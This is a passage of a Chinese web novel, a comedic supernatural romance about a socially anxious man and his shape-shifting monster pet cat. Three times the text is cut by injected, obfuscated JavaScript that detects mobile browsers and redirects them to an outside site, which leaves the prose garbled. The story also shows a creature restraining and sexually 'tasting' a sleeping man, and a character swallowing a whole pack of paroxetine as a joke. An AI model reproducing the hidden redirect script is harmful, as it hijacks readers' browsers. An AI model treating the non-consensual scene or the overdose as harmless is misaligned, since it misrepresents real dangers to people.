严祈明抓住了关键字。 “……投放?” 溯魂咯咯笑了起来。 “哇哦~你终于有点不一样的表情了。” “听安浔哥哥说,你在综艺节目上的人设是抽象搞笑毛子哥来着,别对我这么严肃嘛,我会伤心的~” 严祈明:“。” “我是C国国籍,在我国东北部长大,一点毛子语都不会讲。你继续说。” 溯魂:“噢,那你说话确实妹有口音。” 严祈明:“#” “继续往下说。” “整个麟溪山,乃至遍布擎安市的蚀体,应该都是人为投放的。” 溯魂抬手,朝天花板指了指,“就连罩在我们头顶的[茧幕]也是。” “如果我没猜测——现在世界各地,应该都冒出了许多来源不明的蚀体?” 严祈明呼吸一紧。 他之前被关在[茧幕]里,无法获取外界信息。 直到昨天,安浔为他带来了陈羿川写给他的一份关于外界情况的详细汇报。 不止擎安市。 在这段时间里,世界各地都集中爆发了大规模的蚀体入侵。 但这个溯魂却说…… 这场爆发,是人为操控的!? 一滴冷汗从额角落下。 严祈明突然感觉背脊发凉。 “你也别太紧张,小白毛。”溯魂竟然反过来安慰他,“都是猜测而已,先别自己吓自己~” “这些瓜,都不保熟哦~” 溯魂之所以得出这样的结论,是因为在昨天夜里,它问了深渊一个问题—— 当时溯魂待在寂静的阳台上,等来了进食完毕的深渊。 深渊套回那个小猫机器人的壳子,又变回了Q弹的小布丁,摇摇晃晃地蹦跶了过来。 溯魂:“吃饱了?” 深渊:“你不懂喔,这叫充电。” 溯魂:“……确实不懂。” 不懂你们猫男男。 深渊:“你到底找我干嘛?” 溯魂当即步入正题。 “我来向你寻求一个答案。” “你知道我为什么会出现在麟溪墓园吗?我一睁开眼就在那里了。好奇怪,感觉缺失了一段记忆,迷迷糊糊的。” 深渊冷笑了一声。 “我怎么可能知道?我们上次见面已经是一百多年前了。” “我想着你是活的最久的S级蚀体,问问你也许能知道一些什么呢……”溯魂叹了口气,蹲在地上托腮打量着祂。 “那你呢?你为什么在这里?” 小小一只的黑紫色团子陷入了短暂的沉默。 “是喔……为什么呢?” 祂伸出粗长的尾巴,弯成弧形蹭了蹭头顶,像在挠头。 “不知道。”深渊说。 “我一睁开眼就遇见了安浔。他说这里以后也是我的家。” “我就在这里了。” 溯魂:“……99。” “那再之前呢?你到安浔家之前发生了什么?” 深渊:“不记得了。你问题好多喔,烦了。” 溯魂无奈地耸耸肩。 它很清楚,深渊从不说谎。不知道的问题,就是不知道。 “好吧~” “看来你和我一样。” 都是被什么人投放过来的。 …… …… ———— 咚。 安浔阖上了玄关的门。 他捧着新买回来的三个蛋糕靠枕,有些费力地换好拖鞋,走入客厅。 小圆的审美其实还不错。 蛋糕抱枕不仅很可爱,还和沙发颜色刚好般配,放在上面完全不违和,令原本死气沉沉的客厅都多了些活人感。 “小圆,快来坐!”安浔有点激动。 “好喔~” 小圆回应着,从他身后蹦跶过来。一跃而起跳到沙发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569265|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,配合地葛优瘫在黑莓小蛋糕上,软软一团很快被靠枕挤压成了“D”型,像是蛋糕上面结出了一块小布丁。 安浔慈爱地看了一会,没忍住,掏出手机对准自家的猫。 “咔嚓——”快门的声音。 “你在拍照嘛?”小圆的耳朵抖了抖。 安浔点点头。 点完才反应过来,这是一只具备思考能力的机器人小猫,遂放下手机小声征求:“可以拍你吗?” 小圆:“拍照干嘛用呢?” 安浔:“也……不干什么,就是存在相册里。上班想你了,可以打开手机看看。” 小圆:“☆~” 小圆w型的小猫嘴悄悄上翘,尾巴伸到身前,惬意地朝他上下晃了晃,像在点头。 “你拍嘛。” “现在的姿势可以吗?要不要变个动作?” 安浔:“!” 啊啊啊,怎么这么可爱! “不不不不用。”安浔局促地摆摆手,又忍不住赞美道:“你真的……好可爱啊。” 小圆:“谢谢喔,你也很可爱~” 安浔老脸一红。 可恶,被一只布丁小猫撩到了! 拍了一会照后,安浔坐在了沙发上。 如今正值初夏,屋内的空气有些闷热。今天在外面耗费了太多精力,他刚坐上沙发就产生了困意。小圆挤进他怀中充当起冰凉的抱枕,更是让他丧失了所有力气和手段。 安浔很快就睡着了。 窗边明月高悬,连外界夏虫的鸣叫声也一派祥和…… 不知过了多久,他才迷迷糊糊地睁开眼。 新买的靠枕实在太舒服了,而小圆比靠枕还要舒服,他忍不住打了个盹。 小圆还待在他的怀里。 安浔打了个哈欠,又抬手抻起懒腰。 “小圆,我睡了多久?” “两小时喔。”布丁团子回答。 “咕噜~”安浔的肚子很应景地叫了一声。 怪不得感觉肚子空荡荡的,原来在沙发上睡了这么长时间。 “好饿……”他站起身,拖着疲惫的身躯走向厨房,准备随便糊弄一口。 但厨房的门还没进,门铃就响了:“叮咚——” 安浔后撤一步,走向玄关。 透过防盗门的猫眼一看,外面站的人居然是刘姐。 手里还端着一锅鱼汤。 安浔有点惊异地打开门:“刘姐?” 站在门外的老妪神情谄媚,将鱼汤朝安浔一递:“小安呐,快来喝汤,这是姐专门给你熬的。” 安浔:“?” 啊?饿着的时候就刚好有人送饭上门吗? 鱼汤香气扑鼻,即使被锅盖遮掩也无法停止散发魅力。但安浔还是拒绝了。 “不……不用了,谢谢你。” 他很感谢刘姐的好意,但今天他也没帮刘姐什么忙,这锅汤他无法心安理得地接受。 刘姐的表情僵硬了一下。 “别啊小安!”她当即把鱼汤往安浔的方向怼了怼,“姐知道你今天一大早就出去了,肯定很累,这锅汤就是给你补补身体的,你可别见外啊!” “不不不……” “来吧,不然可都浪费了!” “不不不……” “来嘛来嘛——” 就这么僵持了一会。 最后刘姐不由分说地把锅把塞到安浔手里,一个箭步丝滑地跑走了。一眨眼的功夫就溜回了家,完全不给人拒绝的机会。 安浔:“……” 刘姐这是怎么了? 居然又主动给他煲汤? 他低头盯着手里的白瓷锅,陷入了沉思。 难道…… 刘姐其实一直都是个好人? 只是他以前疏于社交,所以没有发现?? 并不是:) 其实是有猫担心他会饿死,于是在他睡醒前将尾巴抵在刘姐的脖子上,亲眼看着她自愿熬了一锅营养鱼汤。再小心地、悄无声息地钻回了安浔的怀里。 小猫布丁来到玄关。 “这样你就不用做饭了,很方便喔,快去吃饭吧。” 行吧。 饭都塞进手里了,不吃白不吃。 安浔用微波炉热了一碗昨天吃剩的米饭,就着鱼汤吃了起来。 鱼汤很鲜美,味道比上次还要好,安浔足足喝了两大碗。 吃饱饭后,安浔在餐桌边满足地坐了会。 等他起身准备收拾碗筷时,脚下突然一个趔趄—— 他手疾眼快地扶住墙,勉强稳住身体,一股莫名的燥热感由下至上蔓延了全身。 安浔:“?” “你怎么了?”小圆听到动静,立刻赶到他的身边。 安浔的双腿在打颤。 他感觉有点头晕,视线飘忽着落向餐桌上的鱼汤,突然意识到了什么。 “那锅汤难道……有毒?” 小圆:“?” “没有喔。食材安全,做法标准,干净又卫生。” “那、那为什么会……” 安浔的呼吸逐渐滚烫,像一团火药要燃烧起来。 小圆盯着他,复述了一遍[卵鱼]未发育体的功效: “这种鱼不仅明目滋补、强身健体,还能……” 安浔缓缓低头,惊然发觉自己的裤子凸起了一块。 小圆:“哦对,想起来了。” “那个词叫——” “补肾壮阳!” 22. 喵~ (22) 安浔:“…………” 这鱼见效的是不是太快了!! 他忐忑地瞅瞅下面,又抬头瞅瞅地板上的小圆。 小圆没有眼睛。 但安浔很清楚,自己正在被注视着。 无形的视线自下而上,一点一点扫过他的身体。 像是被某种阴湿黏腻的事物舔舐着,皮肤变得敏感,一点风吹草动就令汗毛竖立,彻底战栗起来。 救命。 好尴尬!! 安浔的呼吸逐渐沉重。 心脏也不受控制地噗通噗通狂跳起来。 “不过……” 小圆伸出尾巴,在头顶蹭了蹭,一副十分困惑的模样,“‘补肾壮阳’是什么意思?” 安浔:“。” 他张开嘴,颤抖着呼出一口浊气,费力道:“别、别在意。不用联网搜索,你没有肾脏。” 小圆:“联网搜索?” 安浔站不住了。 来不及回应小圆的疑问,他一个箭步冲向卫生间,“啪”的一声关上了门。 咔哒。 卫生间内传来一道清脆的上锁声。 “……安浔?” 小圆移步卫生间,站在门前用尾巴敲了敲,“你怎么了?不舒服吗?” “我没事。”门后传来安浔闷闷的回应,“……不用担心我。” 安浔站在盥洗池前,心情复杂地盯着镜中的自己。 面颊红的像被丢进锅内蒸了一圈,额角也渗出一层薄汗,其状态和下身情况基本相似。 这条裤子不能穿了。 弄脏了。 安浔叹了口气,盯着自己泛红的眼尾,感觉自己从未如此狼狈过。 幸好…… 幸好那一幕不是发生在大庭广众之下,只是被小圆看见了。 而小圆连肾脏是什么都不知道,应该不理解究竟发生了什么……吧? 安浔今年二十三岁。 母胎solo至今,从未谈过恋爱。 以前上学时,安浔其实有被人表达过好感,男女都有。 但他实在太害怕了,恐惧做出回应,更恐惧拼命示好后最终换来的却是嘲笑和欺骗。 于是,他只能假装没看见、没听着、不知道。就这样把自己弃置在阴暗的角落,祈祷那些人对他失望,最终兀自离去。 他不清楚该如何面对他们。 即使他们都说他是一个很好的人,可安浔并不这么认为。 他这样的人,连放平心态与之交流都做不到,何况是谈恋爱。 而如今,在这个社会上光是生存就已经令安浔精疲力竭,这方面的需求……当然也说不上多。 但是。 安浔又低头看了看。 今天的状态有点太亢奋了,压不住。 他只是社交障碍。 又不是X功能障碍。 安浔深吸了一口气。 将一切都准备好后,他有点羞.耻地伸出刚洗净的手…… “需要帮忙吗?” 一道温和的男音轻轻响彻。 噗通。 安浔的心跳漏了一拍。 一瞬间,仿佛有人站在他的身后,贴着他的耳畔发出一声漫不经心的轻笑—— “安浔,需要帮忙吗?” 安浔的肩膀颤抖了一下。 他的大脑空白了片刻,这才意识到声音来自门外。 但恍惚之间,他又想起了在梦中见到的那个小圆。 他们的声音一模一样,但其他方面又好像很不一样。那方天水之境间的小圆,从始至终都在用一种更为炽热的目光纠缠着他。 以至于…… 他现在竟产生了被握住的错觉。 “……”感觉脑子好像烧坏了。 啊啊啊!! 他在想什么啊!!! 小圆只是个小猫布丁啊啊啊啊啊啊啊啊啊!!! (尖叫)(扭曲)(阴暗地爬来爬去) 哗啦—— 安浔果断打开淋浴器。 冰凉的水从花洒喷涌,浇向他的头顶。 …… 十分钟后 安浔瑟瑟发抖地从卫生间走出,身上披着浴巾,头发被淋湿的犹如落汤鸡,每走一步都颤颤巍巍。 小圆就站在门口,看见他出来了,急匆匆道: “安浔!” “你没事吧?为什么不回我话?” “阿嚏——” 安浔打了个喷嚏。 “我、我洗了个澡。”他低头看了一眼地面的小圆,手下意识地裹紧了浴巾,又迅速移开视线,“就……水声太大了,我好像没听见。” 小圆愣了愣。 “我先……回房间了。” 安浔抿了抿嘴唇,迅速走向卧室。 作为一个S级蚀体。 小圆的感官远比人类敏锐,即便相隔甚远,祂也能清晰地听见人类跃动的脉搏声。 比平时要快很多。 安浔在说谎。 小圆:“#” 肚皮下的星星变成了红色。 下一秒。 小圆在空中一闪,瞬移到卧室门口,飞快地一甩尾巴。 黑紫色的半固体在空中延伸,像被扯长的面团,紧紧勾住了安浔的脚踝。 咚——! 安浔摔在了卧室门前。 但并不疼。因为身体即将触碰瓷砖地板时,身下又被垫上了某种软乎乎的东西作为缓冲。 安浔懵了一下。 接着他发现,自己被抓着脚踝直接在地上拖行起来。小小一只布丁力气大的惊人,几秒的功夫就将他从卧室门口扯回了沙发边。 安浔:“???” 他正要挣扎着爬起身,黑紫色布丁却给他原地翻了个面,匍匐在他的胸口,将他压制在地板一动不动。 Duang大一只小圆撞进安浔的眼中,视线被跃动的红色星群彻底侵占。 “……小、小圆!?” 只见小圆又朝他凑近了更多,几乎与他脸贴着脸。 那层冰凉的半透明表皮下,红星的光芒越发凶戾,连同平日里充满笑意的声音也变得低沉而危险: “为什么骗我?” 安浔呼吸一颤。 他仰起头,喉结紧张地滚动着。额前的发丝垂下一滴水珠,沿着脸庞的弧度滑向白皙的长项,一路收束进洁白的浴衣领口内。 救命。 他就知道自己不善扯谎,连小猫布丁都能看出来。 安浔的脸又开始发热了。 刚才在卫生间想要进行私密行为时,门外的声音恰好撞入耳中。他整个人瞬间变得不对劲起来。 “对不起……”安浔哭丧着脸。 “我刚才脑补你变成了人。”还要很乐于助人地提出要帮他那啥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569266|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那和yy有什么区别? 他差点就借着小圆的声音继续下去了。 安浔痛苦闭眼,狠狠谴责自我。 人不能。 至少不应该!!! 小圆肚皮下的红色凶光黯淡了一些。 但依旧如同随时有可能喷发的火山。 “变人?” 小圆沉思片刻,一针见血地指出:“但这和你说谎有什么关系?” 安浔支支吾吾着: “就……我今天白天不是梦到你变人的样子了吗?刚才想到你时心情有点复杂,听到你说话不知该如何回应,就没理你……对不起。” “为什么不知道?”小圆步步紧逼,冰凉的脸颊贴向安浔。 “……你讨厌我了?” 安浔:“!!!” 他当即摇起头,飞快道:“不不不,没有!绝对没有!!!” 小圆总算向后退开了一点。 安浔多了些喘息的空间,但局面并未迎来好转,小圆看起来还是很气愤。 怎么办? ……他该怎么做? 一时之间,安浔的大脑飞速运转,并清晰地意识到一件事—— 他不希望小圆难过。 他可以将过去每一个和他有过接触,并向他表达好感的人都拒之千里。即使那些人因为他的回避而伤心,他也不会过度谴责自我。 为什么要喜欢他呢? 他是一个很糟糕的人,没办法予以任何回应……对不起。 可是。小圆不行。 小圆和那些人不一样。 他要说。 他一定要表达一些明确的、肯定的、不存在任何歧义的语句。 安浔张开唇瓣,嘶哑的嗓音从喉咙中艰涩挤出,带着难以抑制的抖动: “我……永远不会讨厌你。” 他紧张地深呼吸,泪腺莫名失控,连泪水都不由自主地在眼眶打转。 “你、你是我的小猫。” “无论你做什么,我都会……一直爱你。” 压在他身上的小圆静默了半晌。 安浔有点崩溃。 很想当场扇自己一巴掌。 说不出啊,不会说啊! 他真的不懂如何表达啊!! 救命啊救命啊救命啊救命啊—— “我……” 他哽咽了一下,声音涌入明显的哭腔,却还是迫切解释道:“我不擅长说这些,但我真的……不是故意不理你的。我只是脑子有点奇怪,所以才会……” 柔软的尾巴轻拂过安浔的眼角,上方多了些亮晶晶的液体。 安浔无措地眨眨眼,尾巴很快又糊到了脸上,蹭蹭蹭。 蹭蹭蹭蹭蹭。 泪水全被尾巴抹掉了。 小圆:“以后都不许骗我。” 安浔点点头。 小圆:“说话算话喔。” 安浔疯狂点头。 “唔,好吧。” 小圆沉吟着:“小猫喔……” 它静默了片刻,像是深思熟虑了什么十分重大的事情,有点生硬地张开嘴,迟缓而不确定地发出一声极轻的: “……喵~” 完事还略显局促地问:“是这样叫的吗?” 安浔:“……” 安浔:“!!!!!!!” 起猛了。 家猫居然说猫话了!!!! 23. 这是什么? (23) 总而言之。 这场小矛盾算是解决了。 小圆肚皮下像是警告闪烁灯的红色星星也消失了,重新转变回细碎的白色光点。 直抒胸臆地哭一下之后,安浔也想明白了。 不管什么样子。 小圆就是小圆嘛…… 是他的布丁小猫,是他最珍视的家人和伙伴!要爱着宠着才行! 等把头发吹干之后,他又和小圆一起用switch玩了一阵《it takes two》。 这次小圆的操作比上次流畅了不少,小人在木箱和机关间来回飞跃,许多关卡居然一次就通过了! 安浔惊喜地盯着它:“怎么突然这么厉害?难道你真的是天才?” 小圆笑而不语。 人,你猜你每天上班出门之后,圆都在家里忙什么? 小圆放下手柄,得意地仰起头,挥舞着身后的两根小尾巴。 “是喔~” “就是天才,厉害吧——?” “厉害!大佬带带!” 安浔非常捧场地啪啪鼓掌。 把游戏第二章玩完时,已经接近凌晨了。 想回房间休息时,安浔才注意到餐桌上的碗筷还没收拾。 本来他有吃完饭就清洁餐桌的习惯,但刚才突发了些状况,他急忙跑进了卫生间,桌子的东西当然还原封不动地摆着。 安浔挽起衣袖,开始刷锅洗碗。 清理那锅完全冷掉的鱼汤时,又不免有些困惑。 这种鱼,刘姐前几天也给他炖过。鱼的品种没变,具备的功效应该也不会改变。 上次吃就跟没事人似的。 怎么今天吃了反应居然这么大? “安浔。” 小圆在一旁提醒道:“水要溢出来了喔。” 安浔回过神,发现洗碗池的水已经接满了,连忙关掉水龙头。 他用铁丝抹布洗刷着碗中的油渍,忍不住问道: “小圆,那锅鱼我上次吃时,好像没有出现今晚这种情况。你知道原因吗?” “唔……不清楚。” 小圆绕到他的鞋边,轻轻靠在他的小腿上。 “也许是你比较特别喔。你和别的人类不一样,可能抵抗力更强?毕竟很多东西都对你无效。之前你说的那个词叫什么来着——” “隐藏款!” 猫猫布丁身后的尾巴摇了摇,语调轻快:“我们都是隐藏款~” “噗呲。”安浔没忍住,被逗笑了。 他低头洗着碗筷,沉思了一会,有些自讽地扯起嘴角: “但我这样的人,应该不会是‘隐藏款’吧……” 啪叽! 一声脆响。 安浔一惊,吓得连手中的碗筷全都滑进了泡沫水池。 因为小圆跳起来,尾巴一甩,抽向了他的屁.股。 安浔:“……” 小圆:“不管。对我来说就是隐藏款。” 安浔:“可我真的不……” 啪叽! 又抽了一下!!! “我……”安浔低下头。 小圆一副蓄势待发,随时准备起跳的样子。 “……我是。”他闭眼。 “我是我是,我一定是隐藏款!” 别抽了别抽了。 他招。他全都招了! 洗完碗后,安浔就回了卧室。 他没有熬夜的习惯,今天本来也有点疲惫,刚一沾床就睡着了。 午夜时分。 清幽的月色穿过窗帘间的缝隙,轻柔地洒向床铺。 床上的人类呼吸均匀,小腹平稳地上下起伏着,已然陷入酣眠。 黑夜中,一对质地Q弹的小猫耳朵从被子间支棱起来。 小圆从枕边站起,悄声绕到人类脸前,用尾巴戳了戳人的嘴唇。 没有反应。 在确认人类已经熟睡后,小圆熟练地一键脱.衣,一团诡异的黑色液体从小猫壳子中溢散。 祂像一层张牙舞爪的猎网,再度覆盖在人类身上,迫切地享用起美食。 黑泥从纤尘不染的脖颈漫过,沐浴露的芳香刺激着祂的味蕾。那截皮肤上很快沾染了清透的黏液,在月色下闪闪发亮。 “唔……” 人类微微蹙眉。似乎有点不舒服,无意识地挣扎起来。 其实小圆只需要嘬一嘬这位长期饭票香甜的表面,就能吃饱了。 不过,祂觉得还不够。 对美食最大的敬意,就是吃饱后要再吃几口。不为充饥,纯粹品味! 但美食居然敢在这时试图逃走! 祂有些不满地分化出一根触肢,像甩出一截长绳般,轻松缠住了人类的双手。 被绑起的人类发现无法挣脱,又像在跑路般,不安分地蹬起双腿—— 吧唧! 还踹了祂一脚。黑泥上方隐约多了个脚印。 小圆:“#” 祂当即伸出两根触肢,愤怒地一边一个按住美食的双腿。 床不晃悠了。 这下总算安分了。 黑泥掀开碍事的被褥,再度品味起美食。 美食被束.缚着,眉头皱的越来越紧,唇边隐约流溢出破碎的梦呓。 吸溜。 好好吃。好美味。 香香甜甜的,像蛋糕。 你说(嘬嘬嘬)这小蛋糕(嘬嘬嘬)是谁发明的呢(嘬嘬嘬)? 小圆一路餍足地向下,突然感觉自己被什么东西顶了一下。 小圆:“?” 祂低下头看了看,发现美食的小腹下多了一块凸起。 这是什么? 小圆思考了一会。 突然想起美食今天刚吃完晚饭时,下面就是这样的状态。 好奇怪。 人类真的好奇怪。 唔…… 蛮好奇的。要不尝尝? …… …… ———— 上午七点十分 手机闹钟响起,安浔准时睁开眼睛。 他熟练地扯下糊在脸上的抱脸猫,抬手抻了抻腰。 不知道为什么。 安浔感觉睡醒之后神清气爽的,不仅精神充沛,身体也充满活力。连看东西都变清晰了。 变清晰了? 安浔眨了眨眼,拉开窗帘,望向窗外。 从卧室的窗户向远处眺望,可以隐约看到麟溪山的一角。但距离很远,那一角在安浔的眼中永远都带着重影。 今天不一样。 今天重影消失了,山峰的轮廓很清晰。 安浔:“!” 他冲出卧室,从电视柜下掏出一本杂志,随便翻开一页,抬起手将杂志拿远。 字迹看得一清二楚! 安浔有点诧异。 他其实有轻度近视和散光,看东西总是带一圈羽化滤镜。但是由于情况不严重,他也不敢走进眼镜店配眼镜,就这么一直拖着在720p世界中生存。 没想到眼睛突然变好了! 为什么? 安浔沉思片刻,突然想起了小圆对那锅鱼汤的描述里,有一个词叫—— 明目滋补! 难道这就是他视力恢复,身体也充满力量的原因? 安浔有点惊喜。 妙手回春啊,刘姐! 这世上居然有如此神奇的鱼汤! 如果不是还有其他作用,安浔真的很愿意天天喝,这样就再也不怕关掉玩手机导致眼睛疲劳了! 不过,那么大补的东西肯定很昂贵,哪能天天吃到啊……糟糕,怎么开始想着要白嫖了! 安浔心情很不错。 虽然白嫖可耻,但也符合社会上大多数人的心态,这证明…… 他在慢慢融入社会。 社恐好像治好一点点了! 安浔:ovo 他美滋滋地返回房间,换了身衣服,临离开前还给还在“zzz”的小圆盖好了被子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569267|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 早上的流程一如既往。 吃饱饭后,安浔就站在玄关开始换鞋。 他每天走的时候,无论小圆是否在赖床,都会起来送他。 今天也不例外。 “你要出门啦?”小圆蹦蹦跳跳地从房间走来。 “是哦。”安浔点点头,“还是下午五点左右到家。” 他盯着黑紫色的布丁团子看了一会,突然感觉…… “小圆。”安浔疑惑,“你是不是……胖了?” 小圆原本只有存钱罐大小。 但现在看起来,居然像是被闷在被里发酵了一宿,足足变大了一圈! 猫猫布丁原地转了几圈,好似在观察自己的模样。 “好像是喔。” “可能昨天吃太多了?” 安浔:“吃太多?” 小圆点点头:“唔,或者说喝太多。毕竟一下子喷出好多喔,吓我一跳。” 安浔:“……?” 他沉思了一会,逐渐理解一切。 家用电是220V的交流电。 小圆肯定是把交流电比喻做“液体”了,毕竟交流电里有个“流”字嘛,那充电当然就是“喝水”啦。 小圆应该是想表达家用电出了问题,一下不是220V了而是突然变压了,所以才说“喷太多”? 理解圆语轻轻松松。 骄傲.jpg 安浔转头拉掉了电闸。 “上班有点来不及了,我今天回来再检查下电器。” 小圆:“好喔,你弯腰~” 安浔乖乖听话。小圆照例跳起来,用猫猫嘴碰了碰他的耳垂。 虽然变圆了一些,但并不妨碍小圆灵活地落回地面,再duangduang弹跳两下。 “一路顺风喔,等你回来~” 呜呜。 感觉昨天敞开心扉之后,小圆变得更加黏人了。 好可爱。 家里有小猫等待的感觉真好! 安浔出了门。 今天天气不错,小区也不像前几天那样空荡荡的了。有几名大爷大娘在花园里晨练。就是面孔瞧着有点生,感觉以前都没见过。 不过安浔本来也脸盲,所以没放在心上,照例抄近路从墙洞钻了出去。 直到他骑着车快出市区时—— “嗨,安浔~” 一个人高马大的白毛笑眯眯地拦住了他。 Prayer就蹲在安浔每天都会经过的道口,还在嗦一盒不知从哪拿来的方便面。撞见他时Prayer神情平静,好似早已料到他会出现。 安浔把车停在路边,有点疑惑地盯着他。 “嗯。嗨。”他不太熟练地用这种方式打招呼。 “怎么了,Prayer?……有什么事吗?” Prayer擦了擦嘴,顺手把吃空的泡面桶扔进一旁的垃圾箱,很认真地看向安浔。 接着,他咧开嘴角。 一排森白的牙。笑容看起来有点邪恶。 “帮个忙呗。”他说。 “……什么忙?” 安浔盯着Prayer的牙看了一会,咕咚咽下一口口水,感觉社恐又犯了。 “我想搭个便车。” Prayer抬头眺望向远处,不知是在看什么,下定决心似的深吸一口气:“载我去麟溪墓园。” 安浔紧张:“我有话想说。” Prayer:“你说。” 安浔:“就、那什么,你牙上有菜。” Prayer:“……” 他清理了一下,假装什么都没发生似的,非常不见外地抬腿一跨,一屁股坐上小电驴。 安浔的后座顿时多了个人。 一米九成年男性的重量不可忽视,小电驴不堪重负似的,高度瞬间下降了几厘米。 安浔:“?” 不是。 他也没同意啊。 就这么坐下了? ……这礼貌吗??? 24. 抖抖抖 (24) 严祈明在蚀体防控中心总部培训时,曾翻阅过有关[茧幕]的资料。 这种蚀体非常稀有,其记载少之又少,他只知道这玩意每间隔一周就会降下消化液,已达成进食的目的。 今天是擎安市被[茧幕]包裹的第五日。 按照规律,它下一次降下消化液,是两天之后。 在市区内忙碌数日,如何破开茧幕依旧毫无进展。严祈明认为,他应该将目光着眼于外部。 而麟溪墓园就是切入点。 溯魂曾经出现在那里,她的证词足以说明这家墓园存在诸多蹊跷。 何况昨天下午,严祈明已经亲眼见识到安浔把一个蚀体从[茧幕]外侧带了回来。那么理论来说,只要和安浔同行,他也可以毫发无伤地穿过[茧幕]。 所以…… 今天这个车,他势必要坐! 车是坐上了。 但安浔看起来有一点亖了。 安浔的身体触电般疯狂颤动,抖得像个筛子。 后方的躯体存在感实在太强,几乎快和他的后背贴上了。他不得不绷紧浑身的肌肉,心跳如警报般砰砰狂跳,连呼吸都快停止了。 呃呃呃(痛苦)。 啊啊啊啊啊(狰狞)。 抖抖抖。 车子也在跟着抖,仿佛比它的主人还害怕。 严祈明见他如此抗拒,逐渐明白了什么,“你这是…………恐同?” 安浔:“。” 比那个还严重。恐人。 严祈明当即善解人意道:“你放心我是纯直男。要不我再往后点坐?” “……”安浔张了张嘴,但却如患失语,一个字都蹦不出来。 他只能摆摆手,从兜里颤颤巍巍地翻出一板盐酸帕罗西汀片,按下一粒塞进嘴里。 抖抖抖。 症状并未减缓。 安浔咬咬牙,啪啪啪地把一整板药全按进掌心,一口气送进嘴里,直接干嚼。 严祈明:“?” “不是,也不至于吧?你听我说,这玩意靠吃药是调理不好的——” 咕咚。 安浔将苦涩的药尽数咽下,感受着粉碎的颗粒顺着自己的喉管向下滑,总算安心了一点。 车子不抖了。 “没事了。”他抬手蹭去额角的汗水,气喘吁吁道:“你、你别在意,我刚才就是有点犯病……” 严祈明:“。” 看着是像有什么病。 “对了……” 安浔不想解释太多,有点生硬地转移了话题:“你今天不录节目吗?” “不录,今儿休假。” 严祈明抬手撬开后备箱,不由分说地从里面掏出备用头盔,直接扣在头顶,“行了别挣扎了,你看我来都来了。你的后座能坐小姑娘就能坐我,实在不行你就当我是小姑娘。” 他甚至很敬业地夹了一下:“走吧,安浔哥哥~” 还一副乐在其中的样子。 安浔:“……” 谁家小姑娘一米九啊! 事情已经发展到这一步了。好歹也算和Prayer有点交情,拒绝的话安浔根本说不出口。 算了。 确实是顺路的事。 他悄悄叹息,认命地拧下转把。小电驴在路上平稳地前行,很快就驶离出市区。 “阿嚏——” 日常喷嚏(1/1) 最近他每天上班从这经过,就会结结实实打一个喷嚏,眼前还会跟着黑一下,像准时准点完成了什么每日打卡。 也是够奇怪的。 “……居然真的,就这么出来了?” 严祈明小声嘀咕着。他微微挑眉,有些惊讶地频频望向身后。 安浔透过后视镜瞄了几眼后面。 什么也没有。 这人东张西望了半天,到底在看什么? 严祈明注意到了安浔的视线,朝他轻笑了一声:“你就没什么想要问我的?” 还真有。 安浔刚才就想问了。但毕竟涉及隐私,他不好开口。但既然Prayer给了他这个机会…… 安浔:“你今天为什么要去麟溪墓园?” 严祈明耸了耸肩膀,随口胡诌道:“看墓地呗,还能干嘛。” 安浔呼吸一滞。 轰隆——! 头顶仿佛闪过一道惊雷。 某个恐怖的念头瞬间渗透进他的大脑。 看墓地。 Prayer要去看墓地。还是一个人偷偷摸摸地去。 安浔的瞳孔在地震。 他绞尽脑汁,左思右想,总算想出了一个足够委婉的高情商问法: “我以后还能听到你的……新歌吗?” 严祈明:“?” 好家伙。 他今天是想铤而走险进一趟墓园。但他人还在路上呢,就已经被宣判死刑了? 看着安浔逐渐苍白的脸色,严祈明果断抬手制止,并挑了句万能理由: “你误会了,我不是要给我自己挑墓。其实是我有一个朋友……” 安浔:“qwq” “没、没关系,我明白的。我会好好珍藏你的专辑的,愿天堂没有疾病……” 严祈明:“……” 越描越黑了!! 麟溪山坐落在擎安市郊。 这座山体量不大,最高海拔仅为八百米。但山脉延绵、四季常青、花草繁茂,据说从远处眺望其景致就已十分优美。 可惜,严祈明看不到。 在他眼里,那座山被一阵诡谲厚重的白雾覆盖,几乎辨识不出山峰的轮廓。 严祈明:“安浔。” “……嗯。怎么了?” 声音闷闷的。好像还沉浸在并不存在的悲伤之中。 严祈明:“我有点近视。你看麟溪山上雾气重吗?” 安浔抬头瞅了瞅。 从今早开始,他的散光莫名变好了,视野一片清明。 “不重。麟溪山偶尔是会有一点雾,但今天还好,山上的东西基本能看清。” 没说谎。 他是真的看不见。 严祈明用余光观察着安浔。 清瘦的后背,被包裹在一层宽大的冲锋衣下。 